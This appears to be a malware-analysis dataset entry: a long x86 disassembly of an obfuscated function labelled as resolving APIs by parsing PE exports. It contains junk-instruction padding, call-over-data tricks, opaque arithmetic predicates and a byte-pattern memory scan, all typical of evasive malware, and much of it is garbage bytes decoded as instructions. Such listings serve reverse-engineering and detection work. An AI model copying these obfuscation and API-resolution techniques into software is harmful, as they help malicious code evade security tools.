Function at 0x406ff5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
push ebx
push edi
add esp, 4
call 0x4016b2
add byte [edx + esi], bh
cmp byte [edx], dh
inc ebp
dec eax
add esp, 4
call 0x4016c3
add byte [ecx + 0x39], cl
dec edi
inc edi
dec esi
cmp dword [0x4c48338], edi
or ebx, 0x173c2
or ebx, 0x142af
pop ebx
mov dword [ebp - 0x2c], 1
push eax
or eax, 0x17a4c
call 0x4016f0
add byte [ecx + eax*2 + 0x44], al
dec ebx
inc esi
inc edx
xor eax, 0x4c48337
pop eax
push esi
push eax
add esp, 4
call 0x401708
add byte [ebx + 0x43], cl
cmp eax, 0x3a404039
dec edi
dec ecx
add esp, 4
pop esi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x4018ed
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push ecx
push ecx
add esp, 4
and ecx, 0x18292
pop ecx
push ecx
xor ecx, 0x17c62
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x14582
sub eax, 0x15be3
and eax, 0x271c
sub eax, 0xa17e
pop eax
push esi
xor esi, 0xe3bf
pop esi
push eax
push ebx
add esp, 4
call 0x401952
add byte [esi], bh
dec edx
inc ebx
inc eax
push eax
inc ecx
cmp byte [ebx + 0x525804c4], al
call 0x401965
add byte [ebx], bh
inc esp
dec ecx
cmp eax, 0x8344464e
les eax, [edx + ebx*2]
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push ebx
push esi
add esp, 4
sub ebx, 0x20b4
and ebx, 0x71ad
sub ebx, 0x5470
pop ebx
push edx
add edx, 0x9fd8
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x110b8
or ebx, 0x68ff
pop ebx
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x401a21
mov dword [ebp - 0x149c], 1
jmp 0x401a2b
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x404a9e
push ebx
push edi
add esp, 4
and ebx, 0x214a
pop ebx
push edi
sub edi, 0xf95c
or edi, 0x1f56
pop edi
push edi
push esi
add esp, 4
and edi, 0x8885
or edi, 0x16c98
xor edi, 0x9365
pop edi
push esi
call 0x401a87
add byte [ecx + 0x3e], al
cmp al, 0x32
cmp al, 0x34
cmp al, 0x33
add esp, 4
sub esi, 0x6e9a
jmp 0x401a97
call 0x401aa6
add byte [esi], dh
inc edi
dec esp
dec edx
cmp al, 0x40
inc ebp
inc edi
add esp, 4
pop esi
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x401c25
push edx
add edx, 0x8f2a
and edx, 0x1868
or edx, 0x5fe2
add edx, 0x77
pop edx
push eax
push ecx
add esp, 4
add eax, 0x12f91
sub eax, 0xd0f6
sub eax, 0x15b7d
pop eax
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push esi
push esi
add esp, 4
sub esi, 0xf921
add esi, 0x6098
and esi, 0x13ebd
pop esi
push edi
call 0x401b9c
add byte [0x4e353d36], dh
cmp al, 0x45
inc esp
add esp, 4
sub edi, 0x17340
pop edi
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push edi
add edi, 0x3471
add edi, 0x1138c
pop edi
push esi
push edi
add esp, 4
or esi, 0x17a30
xor esi, 0x6125
pop esi
push esi
push ebx
add esp, 4
sub esi, 0xfe73
and esi, 0x292
pop esi
push ecx
push edi
add esp, 4
and ecx, 0x60d3
sub ecx, 0x13d4e
call 0x401c44
add byte [0x39324f34], bh
cmp dh, byte [esi]
inc edx
add esp, 4
pop ecx
push eax
and eax, 0x9c5
jmp 0x401c56
pop eax
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push edx
call 0x401cb7
add byte [ecx + 0x4d], al
push eax
cmp byte [esi + 0x4d], cl
dec edx
dec ebx
dec edx
cmp al, 0x83
les eax, [edx + ebx*2]
push edx
add edx, 0xefeb
sub edx, 0x401f
pop edx
push ecx
push eax
add esp, 4
jmp 0x401cd7
pop ecx
mov eax, dword [ebp - 0x3bc]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x44f3644b
mov edx, dword [ebp - 0x3bc]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3bc]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3bc]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x1f58], ecx
push eax
sub eax, 0x118d0
call 0x401d3f
add byte [esi + 0x38], cl
inc esp
inc ebx
inc esp
inc esp
inc ebp
aaa
add esp, 4
xor eax, 0xc1ac
pop eax
push edx
push ecx
add esp, 4
jmp 0x401d55
add edx, 0xc4e5
pop edx
mov dword [ebp - 0x14a4], 1
push esi
jmp 0x401d6e
and esi, 0x16549
pop esi
push ecx
jmp 0x401d7f
pop ecx
push ebx
push edx
add esp, 4
and ebx, 0x15d69
and ebx, 0x3ed1
sub ebx, 0x9fe4
pop ebx
mov dword [ebp - 0x1f5c], 0x38
mov dword [ebp - 0x1f60], 0xe6
mov dword [ebp - 0x1f64], 0x6e
mov dword [ebp - 0x1f68], 0x6e
mov dword [ebp - 0x1f6c], 0x78
mov dword [ebp - 0x1530], 1
push edi
sub edi, 0x3e8f
jmp 0x401de1
call 0x401df0
add byte [ecx + 0x41], cl
dec edx
inc ebx
inc edi
xor eax, dword [eax + 0x43]
aas
add esp, 4
pop edi
push edx
call 0x401e02
add byte [0x354f4c50], bh
cmp byte [esi - 0x7d], al
les eax, [edx + ebx*2]
imul edx, dword [ebp - 0x1530], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x1530], 0x138
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1530]
imul ecx, dword [ebp - 0x1530], 0x138
sub edx, ecx
mov dword [ebp - 0x1534], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x174e6
xor ebx, 0x5502
or ebx, 0x41b7
pop ebx
push ebx
or ebx, 0xf800
and ebx, 0xe277
or ebx, 0x48b6
and ebx, 0x1501f
pop ebx
push ecx
push eax
add esp, 4
add ecx, 0x113a6
jmp 0x401e83
and ecx, 0xb87c
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0x110df
sub ecx, 0xf461
jmp 0x401ea4
pop ecx
mov edx, dword [ebp - 0x928]
add edx, 0x138
imul eax, dword [ebp - 0x924], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x924], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x924]
mov dword [ebp - 0x1d4c], edx
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d50], edx
mov eax, dword [ebp - 0x1d50]
sub eax, 0x6e
mov dword [ebp - 0x1d54], eax
mov dword [ebp - 0xa08], 1
push edx
push ebx
add esp, 4
or edx, 0xc2c5
pop edx
push esi
and esi, 0x15bd
xor esi, 0x8722
sub esi, 0x10b77
xor esi, 0x17e49
pop esi
push edi
push esi
add esp, 4
xor edi, 0x11721
pop edi
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d54]
imul ecx, dword [ebp - 0xa08]
imul eax, dword [ebp - 0xa08], 0x138
sub ecx, eax
mov dword [ebp - 0xa0c], ecx
push esi
sub esi, 0x13147
jmp 0x401f7a
sub esi, 0x1f0
pop esi
push esi
push edx
add esp, 4
or esi, 0x215c
or esi, 0x14fcd
add esi, 0xb5bd
and esi, 0x1033f
pop esi
mov ecx, dword [ebp - 0x928]
add ecx, 0x138
imul edx, dword [ebp - 0x924], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x924], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x924]
mov dword [ebp - 0x1d58], ecx
mov ecx, dword [ebp - 0x1d58]
mov dword [ebp - 0x1d5c], ecx
mov edx, dword [ebp - 0x1d5c]
add edx, 0x38
mov dword [ebp - 0x1d60], edx
mov dword [ebp - 0xa10], 1
push ebx
push esi
add esp, 4
sub ebx, 0x11c73
xor ebx, 0xf98a
add ebx, 0x3c3
pop ebx
push ebx
sub ebx, 0x17403
or ebx, 0x2dfd
sub ebx, 0x17561
or ebx, 0x2103
pop ebx
imul eax, dword [ebp - 0xa10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0xa10], 0x138
sub eax, ecx
xor eax, dword [ebp - 0x1d60]
imul eax, dword [ebp - 0xa10]
imul edx, dword [ebp - 0xa10], 0x138
sub eax, edx
mov dword [ebp - 0xa14], eax
push ebx
push edx
add esp, 4
add ebx, 0x13fff
xor ebx, 0x1223d
sub ebx, 0x1d6
xor ebx, 0x15d62
pop ebx
push eax
add eax, 0xa3ed
xor eax, 0xe68
sub eax, 0x167dc
add dword [bx + si], eax
pop eax
push esi
push edx
add esp, 4
add esi, 0x9b52
or esi, 0x101c
pop esi
push esi
sub esi, 0x65f0
add esi, 0x53b1
call 0x4020c7
add byte [ebx + 0x34], al
aaa
dec esi
cmp dword [edi + 0x46], ecx
cmp eax, dword [esi - 0x7d]
les eax, [esi + ebx*2]
mov dword [ebp - 0x2d0], 1
push eax
call 0x4020e5
add byte [ebx], bh
dec edi
xor eax, 0x344c4745
inc eax
push eax
add esp, 4
jmp 0x4020ee
call 0x4020fd
add byte [edi], bh
inc esp
dec esi
dec esp
cmp byte [edx + 0x32], cl
cmp cl, byte [edi - 0x7d]
les eax, [ecx + eax*4]
loopne 0x402095
inc ecx
add dword [eax], eax
pop eax
imul eax, dword [ebp - 0x2d0], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x2d0], 0x138
sub eax, ecx
xor eax, 2
imul eax, dword [ebp - 0x2d0]
imul edx, dword [ebp - 0x2d0], 0x138
sub eax, edx
mov dword [ebp - 0x2d4], eax
push ecx
or ecx, 0x177c7
or ecx, 0xff0e
or ecx, 0xa6c9
pop ecx
push eax
push edi
add esp, 4
and eax, 0x10df8
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x2705
and ecx, 0xb3b0
pop ecx
mov eax, dword [ebp - 0x928]
mov ecx, dword [ebp - 0x924]
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x250], ecx
jmp 0x40235e
push ecx
push ebx
add esp, 4
call 0x4021a1
add byte [eax + 0x4d], dl
dec esp
dec esi
cmp eax, 0x41435041
add esp, 4
add ecx, 0xa48e
pop ecx
push esi
xor esi, 0x171f
sub esi, 0x159bc
xor esi, 0x68ed
pop esi
mov edx, dword [ebp - 0x254]
add edx, 0x138
imul eax, dword [ebp - 0x250], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x250], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x250]
mov dword [ebp - 0x1d68], edx
push ecx
push edi
add esp, 4
xor ecx, 0x7017
and ecx, 0x68c8
sub ecx, 0xb7c7
sub ecx, 0xb5b0
pop ecx
push eax
sub eax, 0x15e4e
sub eax, 0x5e11
jmp 0x402226
pop eax
mov edx, dword [ebp - 0x1d68]
sub edx, 1
mov dword [ebp - 0x14a0], edx
push ebx
push ebx
add esp, 4
call 0x40224b
add byte [edi + 0x3a], cl
push eax
xor edi, dword [esi]
inc edi
inc ebp
cmp esi, dword [esi]
dec ebx
add esp, 4
jmp 0x402256
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0x164a1
jmp 0x402267
pop ecx
push ecx
push ecx
add esp, 4
jmp 0x402275
pop ecx
push edi
sub edi, 0xb9ed
sub edi, 0xcb91
xor edi, 0x14bc4
call 0x402296
add byte [edx + edi + 0x3f], cl
dec edx
dec edi
dec ecx
inc esi
add esp, 4
pop edi
imul eax, dword [ebp - 0x250], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x250], 0x138
sub eax, ecx
xor eax, dword [ebp - 0x14a0]
imul eax, dword [ebp - 0x250]
imul edx, dword [ebp - 0x250], 0x138
sub eax, edx
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x14a0]
imul eax, dword [ebp - 0x250]
mov dword [ebp - 0x1d6c], eax
mov dword [ebp - 0x1538], 1
push edx
jmp 0x4022f8
sub edx, 0x31ea
pop edx
push ecx
xor ecx, 0x6877
or ecx, 0xdce7
pop ecx
push edi
push esi
add esp, 4
jmp 0x402317
jmp 0x40231c
and edi, 0x4297
pop edi
imul ecx, dword [ebp - 0x1538], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1538], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d6c]
imul ecx, dword [ebp - 0x1538]
imul eax, dword [ebp - 0x1538], 0x138
sub ecx, eax
mov dword [ebp - 0x153c], ecx
push esi
push ecx
add esp, 4
add esi, 0x10dd4
jmp 0x402372
sub esi, 0x7e7a
jmp 0x40237f
pop esi
push ecx
sub ecx, 0x14ec4
pop ecx
push ebx
and ebx, 0x1b0e
pop ebx
mov ecx, dword [ebp - 0x254]
add ecx, 0x138
imul edx, dword [ebp - 0x250], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x250], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x250]
mov dword [ebp - 0x1d70], ecx
mov ecx, dword [ebp - 0x1d70]
mov dword [ebp - 0x1d74], ecx
cmp dword [ebp - 0x1d74], 0
jbe 0x4028d4
push edi
and edi, 0x16ec0
xor edi, 0x55b8
xor edi, 0x7257
sub edi, 0xe052
pop edi
push ecx
sub ecx, 0xa83c
call 0x40240e
add byte [edx + 0x4b], al
dec edx
aaa
xor eax, 0x4c48344
pop ecx
mov edx, dword [ebp - 0x254]
add edx, 0x138
imul eax, dword [ebp - 0x250], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x250], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x250]
mov dword [ebp - 0x1d78], edx
mov edx, dword [ebp - 0x1d78]
mov dword [ebp - 0x1d84], edx
push ecx
and ecx, 0x181b6
and ecx, 0x57c6
pop ecx
push eax
xor eax, 0xede6
and eax, 0x139b
or eax, 0x155ac
pop eax
push edi
add edi, 0xc7be
pop edi
push ecx
jmp 0x402485
pop ecx
mov eax, dword [ebp - 0xa0c]
add eax, 0x138
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0xa08]
mov dword [ebp - 0x1d7c], eax
mov eax, dword [ebp - 0x1d7c]
mov dword [ebp - 0x1d80], eax
mov ecx, dword [ebp - 0x14a4]
imul ecx, dword [ebp - 0x1d80]
cmp dword [ebp - 0x1d84], ecx
jne 0x402657
push edi
push edx
add esp, 4
or edi, 0xd7af
pop edi
push edx
or edx, 0x10560
or edx, 0xe491
xor edx, 0x13abc
xor edx, 0x17215
pop edx
push edi
push eax
add esp, 4
xor edi, 0x1bf3
pop edi
push ebx
add ebx, 0x5599
call 0x402528
add byte [esp + ecx*2], dh
xor ecx, dword ss:[esp + edi + 0x36]
aas
add esp, 4
pop ebx
push esi
jmp 0x402532
or esi, 0x102c2
and esi, 0x18333
add esi, 0x15c19
pop esi
mov edx, dword [ebp - 0x2d4]
add edx, 0x138
imul eax, dword [ebp - 0x2d0], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x2d0], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x2d0]
mov dword [ebp - 0x1d88], edx
mov edx, dword [ebp - 0x1d88]
mov dword [ebp - 0x1d8c], edx
mov eax, dword [ebp - 0x1d8c]
sub eax, 1
mov dword [ebp - 0x1d90], eax
mov dword [ebp - 0xfbc], 1
push ebx
and ebx, 0x5d41
add ebx, 0x11c99
sub ebx, 0x11320
pop ebx
push ecx
push eax
add esp, 4
add ecx, 0x8992
sub ecx, 0x6a62
pop ecx
push ebx
push esi
add esp, 4
sub ebx, 0xabc3
pop ebx
imul ecx, dword [ebp - 0xfbc], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfbc], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d90]
imul ecx, dword [ebp - 0xfbc]
imul eax, dword [ebp - 0xfbc], 0x138
sub ecx, eax
mov dword [ebp - 0xfc0], ecx
mov ecx, dword [ebp - 0xfc0]
mov edx, dword [ebp - 0xfbc]
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x2d0], edx
push ecx
add ecx, 0x11186
pop ecx
push edx
push ebx
add esp, 4
xor edx, 0x9f0
sub edx, 0x151e3
pop edx
push ebx
push edi
add esp, 4
add ebx, 0xcbdd
sub ebx, 0xe0d3
and ebx, 0x26b4
pop ebx
push eax
push edx
add esp, 4
xor eax, 0xad65
add eax, 0xf188
sub eax, 0x70a8
add eax, 0xa85
pop eax
push edi
push esi
add esp, 4
and edi, 0x50a3
pop edi
push ebx
or ebx, 0x124e7
pop ebx
mov eax, dword [ebp - 0x254]
add eax, 0x138
imul ecx, dword [ebp - 0x250], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x250], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x250]
mov dword [ebp - 0x1d94], eax
mov eax, dword [ebp - 0x1d94]
mov dword [ebp - 0x1da0], eax
push esi
push ebx
add esp, 4
add esi, 0x155bc
pop esi
push eax
xor eax, 0x5f8
sub eax, 0xce33
sub eax, 0xd420
pop eax
push eax
push esi
add esp, 4
and eax, 0x44b5
xor eax, 0x77b8
pop eax
mov ecx, dword [ebp - 0xa14]
add ecx, 0x138
imul edx, dword [ebp - 0xa10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xa10], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0xa10]
mov dword [ebp - 0x1d98], ecx
mov ecx, dword [ebp - 0x1d98]
mov dword [ebp - 0x1d9c], ecx
mov edx, dword [ebp - 0x14a4]
imul edx, dword [ebp - 0x1d9c]
cmp dword [ebp - 0x1da0], edx
jne 0x4028cf
push edi
jmp 0x402760
call 0x40276e
add byte [0x4d4f393b], bh
aas
xor al, byte [ecx - 0x7d]
les eax, [ecx + eax*4]
iretd
jmp 0x40218d
push ebx
push edi
add esp, 4
add ebx, 0xa491
sub ebx, 0x842c
add ebx, 0x1364f
and ebx, 0xbb58
pop ebx
push edx
push edi
add esp, 4
add edx, 0x14248
jmp 0x402905
pop edx
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2d0]
mov dword [ebp - 0x1f0c], ecx
mov dword [ebp - 0x1f08], edx
lea eax, [ebp - 0x1f0c]
mov dword [ebp - 0x1db0], eax
mov ecx, dword [ebp - 0x1db0]
mov dword [ebp - 0xa74], ecx
push ebx
or ebx, 0xf2e9
jmp 0x402945
or ebx, 0x11920
call 0x402958
add byte [0x45484f46], bh
aas
xor eax, 0x5b04c483
push eax
push ebx
add esp, 4
add eax, 0x11222
pop eax
mov edx, dword [ebp - 0xa74]
mov eax, dword [edx]
add eax, 0x138
mov ecx, dword [ebp - 0xa74]
imul edx, dword [ecx + 4], 0x138
add edx, 0x44f3644b
mov ecx, dword [ebp - 0xa74]
imul ecx, dword [ecx + 4], 0x138
sub edx, ecx
xor eax, edx
mov edx, dword [ebp - 0xa74]
imul eax, dword [edx + 4]
mov dword [ebp - 0x1db4], eax
mov eax, dword [ebp - 0x1db4]
mov dword [ebp - 0x1dbc], eax
mov ecx, dword [ebp - 0x1db8]
sub ecx, dword [ebp - 0x1dbc]
mov dword [ebp - 0x1dc0], ecx
mov dword [ebp - 0xfcc], 1
push eax
add eax, 0x991a
call 0x4029e5
add byte [ecx], bh
dec esp
dec edi
aaa
dec edx
inc esi
cmp eax, 0x8104c483
invalid
mov dword [ebp - 0x3c0], 0
call 0x404aad
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push eax
push eax
add esp, 4
or eax, 0x143d1
xor eax, 0x4f77
xor eax, 0x438
pop eax
push edi
add edi, 0x17def
sub edi, 0x10e79
or edi, 0xddf0
jmp 0x404aea
pop edi
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edi
push edx
add esp, 4
xor edi, 0xcec2
and edi, 0xfec7
and edi, 0x3429
or edi, 0xa5a
pop edi
push ebx
xor ebx, 0x168c6
add ebx, 0x8520
and ebx, 0x17a20
pop ebx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push edi
call 0x404b7f
add byte [eax + 0x4d], cl
push eax
inc ebx
xor eax, dword [eax + 0x3b]
add esp, 4
add edi, 0x6839
xor edi, 0x1950
pop edi
push esi
jmp 0x404b96
and esi, 0x93fc
or esi, 0x7b58
pop esi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push edx
xor edx, 0x14372
or edx, 0xba4a
pop edx
push edi
jmp 0x404be9
pop edi
push eax
add eax, 0x7911
pop eax
push esi
push esi
add esp, 4
jmp 0x404bff
xor esi, 0x12766
pop esi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push eax
sub eax, 0x183e6
xor eax, 0x216
pop eax
push esi
jmp 0x404c4f
pop esi
push ebx
sub ebx, 0x14318
add ebx, 0x12d69
jmp 0x404c62
or ebx, 0x16fcd
pop ebx
mov dword [ebp - 0x1fa4], 0xe
push ebx
push edi
add esp, 4
and ebx, 0xa842
and ebx, 0x1426a
pop ebx
push eax
push edx
add esp, 4
or eax, 0x16b30
jmp 0x404c96
xor eax, 0xc686
pop eax
push eax
add eax, 0x44ee
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ecx
or ecx, 0x795c
add ecx, 0x1227
add ecx, 0x4d11
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0xd1f1
and ebx, 0x13abc
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x6a08
pop edx
mov dword [ebp - 0x1fa8], 0xffffffff
push ecx
push esi
add esp, 4
and ecx, 0x14ae9
pop ecx
push edx
and edx, 0x2204
call 0x404d16
add byte [ebx], bh
push eax
aaa
dec ebx
cmp eax, dword [ecx - 0x7d]
les eax, [ebx + ebp*8]
push es
inc edx
xor al, 0x44
push eax
cmp byte [esi - 0x7f], cl
loop 0x404d2c
inc eax
add byte [eax], al
pop edx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x404d45
invalid
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ebx
push ecx
add esp, 4
sub ebx, 0x1688d
xor ebx, 0xb281
pop ebx
push ecx
push eax
add esp, 4
jmp 0x404d62
add ecx, 0x13773
and ecx, 0x17232
jmp 0x404d76
pop ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x404dbf
push eax
sub eax, 0x7d52
jmp 0x404d98
add eax, 0x9f39
pop eax
push ecx
push eax
add esp, 4
or ecx, 0xa20d
xor ecx, 0x8c04
jmp 0x404db9
pop ecx
jmp 0x404fed
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
push ecx
add esp, 4
sub edx, 0x130cb
pop edx
push ecx
sub ecx, 0xeda1
xor ecx, 0x60d1
sub ecx, 0xca74
add ecx, 0x87d8
pop ecx
push edi
push edx
add esp, 4
sub edi, 0x15230
pop edi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x404e6e
push ecx
push esi
add esp, 4
or ecx, 0x39aa
add ecx, 0xe1ef
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x1024d
jmp 0x404e4d
call 0x404e59
add byte [ecx + 0x40], cl
dec esi
xor dh, byte [edx]
inc edi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x404f9f
cmp dword [ebp - 0xc08], 0
jle 0x404f93
push edx
push esi
add esp, 4
sub edx, 0x11d18
and edx, 0x17e8f
call 0x404e98
add byte [ebx], dh
dec esp
dec edi
cmp eax, dword [edi + 0x38]
add esp, 4
call 0x404ea9
add byte [eax + 0x4e], dl
dec esp
dec esi
dec esp
push eax
cmp byte [eax - 0x7d], cl
les eax, [edx + ebx*2]
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404f2f
push ebx
push ebx
add esp, 4
xor ebx, 0x14757
jmp 0x404ed4
or ebx, 0x107c7
or ebx, 0xd88b
pop ebx
push esi
add esi, 0x158ac
pop esi
push ecx
push edx
add esp, 4
and ecx, 0xe312
pop ecx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404f17
mov dword [ebp - 0x14c0], 1
jmp 0x404f21
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x404f93
push esi
push ebx
add esp, 4
and esi, 0x75db
xor esi, 0x7ecd
sub esi, 0xb52b
pop esi
push ebx
sub ebx, 0x135f6
or ebx, 0x701b
pop ebx
push eax
push esi
add esp, 4
or eax, 0xc41b
pop eax
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x404e6e
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x404fe8
push eax
push ebx
add esp, 4
call 0x404fbc
add byte [0x3345333b], dh
dec ebp
inc eax
inc edi
aaa
add esp, 4
sub eax, 0xfc5a
pop eax
push esi
push esi
add esp, 4
